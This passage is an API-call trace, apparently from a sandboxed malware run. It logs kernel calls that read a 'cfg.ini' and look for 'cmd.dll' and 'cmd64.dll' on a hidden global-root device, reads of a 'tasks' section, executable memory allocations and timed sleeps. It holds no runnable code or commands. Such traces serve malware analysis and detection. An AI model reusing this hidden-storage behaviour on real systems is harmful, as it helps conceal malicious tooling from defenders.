FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.216] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5560 [0125.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.216] KeLeaveCriticalRegion () [0125.216] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.216] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.216] KeEnterCriticalRegion () [0125.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.216] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.216] KeLeaveCriticalRegion () [0125.216] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.216] KeEnterCriticalRegion () [0125.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.216] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.216] IdePortDispatch () returned 0x103 [0125.216] KeWaitForMutexObject () returned 0x0 [0125.216] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.217] KeLeaveCriticalRegion () [0125.217] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.217] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.217] KeEnterCriticalRegion () [0125.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.217] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf3000 [0125.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.217] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.217] IdePortDispatch () returned 0x103 [0125.217] KeWaitForMutexObject () returned 0x0 [0125.217] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.217] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.217] IdePortDispatch () returned 0x103 [0125.217] KeWaitForMutexObject () returned 0x0 [0125.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.217] KeLeaveCriticalRegion () [0125.217] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.218] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.218] KeEnterCriticalRegion () [0125.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.218] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.218] KeLeaveCriticalRegion () [0125.218] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.218] KeEnterCriticalRegion () [0125.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.218] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.218] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.218] KeLeaveCriticalRegion () [0125.218] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.218] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.218] KeEnterCriticalRegion () [0125.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.218] ExFreePoolWithTag (P=0xfffffa8003bf5560, Tag=0x0) [0125.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.218] KeLeaveCriticalRegion () [0125.218] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.218] ReleaseMutex (hMutex=0xf0) returned 1 [0125.218] Sleep (dwMilliseconds=0x927c0) [0125.225] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.225] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.228] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.228] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.228] KeEnterCriticalRegion () [0125.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.228] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.228] IdePortDispatch () returned 0x103 [0125.228] KeWaitForMutexObject () returned 0x0 [0125.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.228] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.228] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.228] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.228] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.228] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6ab0 [0125.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.228] KeLeaveCriticalRegion () [0125.228] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.228] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.228] KeEnterCriticalRegion () [0125.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.228] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.228] KeLeaveCriticalRegion () [0125.228] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.229] KeEnterCriticalRegion () [0125.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.229] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.229] IdePortDispatch () returned 0x103 [0125.229] KeWaitForMutexObject () returned 0x0 [0125.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.229] KeLeaveCriticalRegion () [0125.229] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.229] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.229] KeEnterCriticalRegion () [0125.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf7000 [0125.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.229] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.229] IdePortDispatch () returned 0x103 [0125.229] KeWaitForMutexObject () returned 0x0 [0125.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.229] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.229] IdePortDispatch () returned 0x103 [0125.230] KeWaitForMutexObject () returned 0x0 [0125.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.230] KeLeaveCriticalRegion () [0125.230] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.230] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.230] KeEnterCriticalRegion () [0125.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.230] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.230] KeLeaveCriticalRegion () [0125.230] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.230] KeEnterCriticalRegion () [0125.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.230] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.230] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5800, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.230] KeLeaveCriticalRegion () [0125.230] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.230] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.230] KeEnterCriticalRegion () [0125.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.230] ExFreePoolWithTag (P=0xfffffa8003bf6ab0, Tag=0x0) [0125.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.231] KeLeaveCriticalRegion () [0125.231] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.231] ReleaseMutex (hMutex=0xf0) returned 1 [0125.231] Sleep (dwMilliseconds=0x927c0) [0125.238] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.238] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.238] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.239] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.239] KeEnterCriticalRegion () [0125.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.239] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.239] IdePortDispatch () returned 0x103 [0125.239] KeWaitForMutexObject () returned 0x0 [0125.239] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.239] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.239] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.239] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.239] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.239] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3d50 [0125.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.239] KeLeaveCriticalRegion () [0125.239] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.239] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.239] KeEnterCriticalRegion () [0125.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.239] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.239] KeLeaveCriticalRegion () [0125.239] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.239] KeEnterCriticalRegion () [0125.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.239] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.239] IdePortDispatch () returned 0x103 [0125.240] KeWaitForMutexObject () returned 0x0 [0125.240] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.240] KeLeaveCriticalRegion () [0125.240] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.240] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.240] KeEnterCriticalRegion () [0125.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.240] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfa000 [0125.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.240] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.240] IdePortDispatch () returned 0x103 [0125.240] KeWaitForMutexObject () returned 0x0 [0125.240] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.240] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.240] IdePortDispatch () returned 0x103 [0125.240] KeWaitForMutexObject () returned 0x0 [0125.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.240] KeLeaveCriticalRegion () [0125.240] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.241] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.241] KeEnterCriticalRegion () [0125.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.241] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.241] KeLeaveCriticalRegion () [0125.241] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.241] KeEnterCriticalRegion () [0125.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.241] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.241] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5ab0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.241] KeLeaveCriticalRegion () [0125.241] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.241] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.241] KeEnterCriticalRegion () [0125.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.241] ExFreePoolWithTag (P=0xfffffa8003bf3d50, Tag=0x0) [0125.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.241] KeLeaveCriticalRegion () [0125.241] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.241] ReleaseMutex (hMutex=0xf0) returned 1 [0125.241] Sleep (dwMilliseconds=0x927c0) [0125.256] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.256] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.256] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.256] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.256] KeEnterCriticalRegion () [0125.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.256] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.256] IdePortDispatch () returned 0x103 [0125.256] KeWaitForMutexObject () returned 0x0 [0125.256] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.256] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.256] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.256] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.256] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.256] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf67b0 [0125.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.256] KeLeaveCriticalRegion () [0125.256] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.256] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.257] KeEnterCriticalRegion () [0125.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.257] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.257] KeLeaveCriticalRegion () [0125.257] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.257] KeEnterCriticalRegion () [0125.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.257] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.257] IdePortDispatch () returned 0x103 [0125.257] KeWaitForMutexObject () returned 0x0 [0125.257] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.257] KeLeaveCriticalRegion () [0125.257] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.257] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, 